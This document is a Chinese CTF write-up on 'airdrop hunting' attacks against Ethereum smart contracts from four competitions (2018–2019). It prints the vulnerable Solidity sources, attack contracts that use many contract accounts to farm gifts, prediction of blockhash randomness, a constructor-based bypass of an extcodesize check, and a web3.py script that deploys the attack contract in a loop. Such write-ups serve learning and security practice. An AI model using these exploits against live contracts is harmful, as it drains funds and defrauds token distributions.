Airdrop Hunting wiki部分
关于薅羊毛,原理很简单例如一个空投函数可以供所有人调用,那我用多个账户每个账户调用一次,最后把这些钱都转到一个账户上就累计成了巨大的财富,这就是薅羊毛。
数字经济大赛 2019 题目合约地址0x94bc4F858fcCf7B016ca240AfbDC93Db7C4FF656 攻击合约地址0xf60FbFE6eA8B16EA6cd03d8922eCAe684461F899 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pragma solidity ^0.4 .24 ; contract jojo { mapping(address => uint ) public balanceOf; mapping(address => uint ) public gift; address owner; constructor()public { owner = msg.sender; } event SendFlag(string b64email); function payforflag (string b64email) public { require (balanceOf[msg.sender] >= 100000 ); emit SendFlag(b64email); } function jojogame () payable { uint geteth = msg.value / 1000000000000000000 ; balanceOf[msg.sender] += geteth; } function gift () public { assert(gift[msg.sender] == 0 ); balanceOf[msg.sender] += 100 ; gift[msg.sender] = 1 ; } function transfer (address to,uint value) public { assert(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; balanceOf[to] += value; } }
攻击 典型薅羊毛,直接生成一千个账户调用gift然后转账给一个账户即可
攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 pragma solidity ^0.4 .24 ;import "./source.sol" ; contract exp { jojo target = jojo(0xd9145CCE52D386f254917e481eB44e9943F39138 ); constructor() payable public { } function getBalance(uint num) public { for (uint i =0 ;i < num ; i++){ new attack(address(this )); } } function getFlag(string b64email) public { target .payforflag(b64email); } function balanceOf(address add) public returns (uint) { return target .balanceOf (add) ; } } contract attack { constructor (address address1) payable public { jojo target = jojo(0xd9145CCE52D386f254917e481eB44e9943F39138 ); target .gift(); target .transfer(address1,100 ); } }
设置num为0x100调用getBalance四次即可满足题意
最后调用getFlag即可,查看题目合约的events。
RoarCTF 2019 CoinFlip 合约源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 pragma solidity ^0.4 .24 ; contract P_Bank { mapping (address => uint ) public balances; uint public MinDeposit = 0.1 ether; Log TransferLog; event FLAG (string b64email, string slogan ) ; constructor(address _log) public { TransferLog = Log(_log); } function Ap ( ) public { if (balances[msg.sender] == 0 ) { balances[msg.sender]+=1 ether; } } function Transfer (address to, uint val ) public { if (val > balances[msg.sender]) { revert(); } balances[to]+=val; balances[msg.sender]-=val; } function CaptureTheFlag (string b64email ) public returns (bool ) { require (balances[msg.sender] > 500 ether); emit FLAG (b64email, "Congratulations to capture the flag!" ) ; } function Deposit ( ) public payable { if (msg.value > MinDeposit) { balances[msg.sender]+= msg.value ; TransferLog.AddMessage(msg.sender,msg.value ,"Deposit" ); } } function CashOut (uint _am ) public { if (_am<=balances[msg.sender]) { if (msg.sender.call.value (_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(msg.sender,_am,"CashOut" ); } } } function() public payable{} } contract Log { struct Message { address Sender; string Data; uint Val; uint Time; } string err = "CashOut" ; Message[] public History; Message LastMsg; function AddMessage (address _adr,uint _val,string _data ) public { LastMsg.Sender = _adr; LastMsg.Time = now; LastMsg.Val = _val; LastMsg.Data = _data; History.push(LastMsg); } }
攻击 攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 pragma solidity ^0.4 .24 ;import "./source.sol" ; contract exp { address t = 0 xd9145CCE52D386f254917e481eB44e9943F39138; P_Bank target = P_Bank(t); constructor() payable public { } function attack(uint num,address acount) payable public { for ( uint i =0 ;i< num ; i++){ target.Ap(); target.Transfer(acount, 1 ether); } } }
QWB 2019 题目部署合约地址0x4c2c453CC4788514097c9c1Cc78B42a4B44ae05A 攻击合约地址0x8Bb4Be3a00EeAF6858EB0b934532A18bdbDE713F
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 pragma solidity ^0.4 .23 ; contract babybet { mapping(address => uint ) public balance; mapping(address => uint ) public status; address owner; event sendflag(string md5ofteamtoken,string b64email); constructor()public { owner = msg.sender; balance[msg.sender]=1000000 ; } function payforflag (string md5ofteamtoken,string b64email) public { require (balance[msg.sender] >= 1000000 ); if (msg.sender!=owner){ balance[msg.sender]=0 ; } owner.transfer(address(this).balance); emit sendflag(md5ofteamtoken,b64email); } modifier onlyOwner(){ require (msg.sender == owner); _; } function profit () { require (status[msg.sender]==0 ); balance[msg.sender]+=10 ; status[msg.sender]=1 ; } function () payable { balance[msg.sender]+=msg.value/1000000000000000000 ; } function bet (uint num) { require (balance[msg.sender]>=10 ); require (status[msg.sender]<2 ); balance[msg.sender]-=10 ; uint256 seed = uint256(blockhash(block.number-1 )); uint rand = seed % 3 ; if (rand == num) { balance[msg.sender]+=1000 ; } status[msg.sender]=2 ; } function transferbalance (address to,uint amount) { require (balance[msg.sender]>=amount); balance[msg.sender]-=amount; balance[to]+=amount; } }
攻击 这题似乎当时比赛是给了选手部分源码,剩下的需要逆向,我这里就直接拿源码做了,本菜鸡基础的攻击学完了再逆向吧。
源码漏洞比较明显,先调用profit然后随机数预测调用bet,然后转账。生成多个合约账户来薅羊毛。
攻击合约如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 // SPDX-License-Identifier: MIT pragma solidity ^0.4 .24 ;import "./source.sol" ; contract exp { constructor() public payable{ } function Attack(address to, uint num) public { for (uint i =0 ; i < num ;i++){ attack exp = new attack(); exp .bet1(); exp .transfer (to); } } function getFlag(string md5ofteamtoken,string b64email) public { address a = 0 x4c2c453CC4788514097c9c1Cc78B42a4B44ae05A; babybet target = babybet(a); target .payforflag(md5ofteamtoken, b64email); } } contract attack { address a = 0 x4c2c453CC4788514097c9c1Cc78B42a4B44ae05A; babybet target = babybet(a); constructor() public payable{ // target .transferbalance(to,uint(1100 )); } function bet1() public payable { target .profit(); bytes32 guess = block .blockhash(block .number - 0 x01); uint guess1 = uint(guess) % 0 x03; target .bet(guess1); } function transfer (address to) public { target .transferbalance(to, 1000 ); } }
设置num为0x63一次+(99*1000),我设置0x64就g,多次调用之后就能满足条件了。
最后调用攻击合约的getFlag即可
bctf 2018 Fake3d 前置知识 tx.origin和msg.sender 参考文章
分析 经典的Fake3d漏洞参考文章
wp 合约源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 contract WinnerList{ address public owner; struct Richman{ address who; uint balance; } function note (address _addr, uint _value ) public { Richman rm; rm.who = _addr; rm.balance = _value; } } contract Fake3D { using SafeMath for *; mapping(address => uint256) public balance; uint public totalSupply = 10 **18 ; WinnerList wlist; event FLAG (string b64email, string slogan ) ; constructor(address _addr) public { wlist = WinnerList(_addr); } modifier turingTest ( ) { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0 , "sorry humans only" ); _; } function transfer (address _to, uint256 _amount ) public { require(balance[msg.sender] >= _amount); balance[msg.sender] = balance[msg.sender].sub(_amount); balance[_to] = balance[_to].add (_amount); } function airDrop ( ) public turingTest returns (bool ) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if ((seed - ((seed / 1000 ) * 1000 )) < 288 ){ balance[tx.origin] = balance[tx.origin].add (10 ); totalSupply = totalSupply.sub(10 ); return true ; } else return false ; } function CaptureTheFlag (string b64email ) public { require (balance[msg.sender] > 8888 ); wlist.note(msg.sender,balance[msg.sender]); emit FLAG (b64email, "Congratulations to capture the flag?" ) ; } }
攻击 airDrop中存在随机数预测,满足if条件后就能让balance+10了,但注意这里使用的是tx.origin就是最开始调用合约的账户而不是调用airDrop函数的攻击合约账户地址。其中的turingTest可使用合约的构造函数绕过。
这里我最开也想到既然它判断了(seed - ((seed / 1000) * 1000)) < 288
那么直接调用函数不就完了,总会有几率满足条件,不过就有点暴力,看了wp这样做确实也是能做的。。
部署攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 pragma solidity ^0.4 .24 ;import "./source.sol" ;import "./safemath.sol" ; contract exp { using SafeMath for *; address contractAddress = 0x9f8fc2b400cd43eD139d0C9e949f1c70BE252443 ; Fake3D target = Fake3D (contractAddress); constructor () payable public { for (uint i=0 ;i<100 ;i++){ new attack (); } } } contract attack { using SafeMath for *; constructor () payable public { address contractAddress = 0x9f8fc2b400cd43eD139d0C9e949f1c70BE252443 ; Fake3D target = Fake3D (contractAddress); target.airDrop (); } }
这样一次能加两三百,编写脚本不断部署合约即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import solcx from eth_abi import abi, encode_abi from eth_utils import keccak from Crypto.Util.number import bytes_to_long from web3 import Web3,HTTPProvider from hexbytes import * def exp (): print('start------------------------------------------------------') abi = '''[ { "inputs": [], "payable": true, "stateMutability": "payable", "type": "constructor" } ]''' bytecode = '''608060405273 9f8fc2b400cd43ed139d0c9e949f1c70be25244360008061 0100 0a81548173 ffffffffffffffffffffffffffffffffffffffff021916908373 ffffffffffffffffffffffffffffffffffffffff16021790555060 00809054906101 000a900473 ffffffffffffffffffffffffffffffffffffffff16600160006101 000a81548173 ffffffffffffffffffffffffffffffffffffffff021916908373 ffffffffffffffffffffffffffffffffffffffff16021790555060 00809050 5b60648110156100 fc576100 d1610102565 b60405180910390 6000 f080158015610 0ed573d600080 3e3d6000 fd5b50508080600101 9150506100 c0565 b5061011256 5b60405161010380 61015583390190 565b60358061012060 00396000 f30060806040526 0008 0fd00a165627 a7a72305820 ef15eff16f1da73a365765 ef3bb4f2b0398 b4723 b68336998 e2b0463 e28876810029608 06040526000807 39f8fc2b400cd43ed139d0c9e949f1c70be25244391508190 508073 ffffffffffffffffffffffffffffffffffffffff1663 ca5d08806040518163 ffffffff167c01000000000000 00000000000000 00000000000000 00000000000000 00028152600401 60206040518083 038160008780 3b15801560845760 0080 fd5b505af11580156097573 d600080 3e3d6000 fd5b50505050604051 3d602081101560 ac57600080 fd5b81019080805190 60200190929190 50505050505060 35806100 ce6000396000 f30060806040526 0008 0fd00a165627 a7a723058204214 5ac5fce3a8d227a9e236ac3316 6a281f4454 a234c72a07672157 1b8408 c5002 9''' account_from = { 'private_key': 'your private key', 'address': '0x9c5D5bE2a7650395785 3d9b6f81fFDE22663573 9', } contract_address = Web3.toChecksumAddress("0x9f8fc2b400cd43eD139d0C9e949f1c70BE252443" ) rpc = "your rpc " web3 = Web3(HTTPProvider(rpc)) print(f'Attempting to deploy from account: { account_from["address"] }') # 4. Create contract instance Incrementer = web3.eth.contract(abi=abi, bytecode=bytecode) # 5. Build constructor tx construct_txn = Incrementer.constructor().buildTransaction( { 'from': account_from['address'], 'nonce': web3.eth.get_transaction_count(account_from['address']), } ) # 6. Sign tx with PK tx_create = web3.eth.account.sign_transaction(construct_txn, account_from['private_key']) # 7. Send tx and wait for receipt tx_hash = web3.eth.send_raw_transaction(tx_create.rawTransaction) tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash) print(f'Contract deployed at address: { tx_receipt.contractAddress }') print("next------------------------------------------------------" ) if __name__ == '__main__': while True: exp ()
到达条件之后调用CaptureTheFlag
函数即可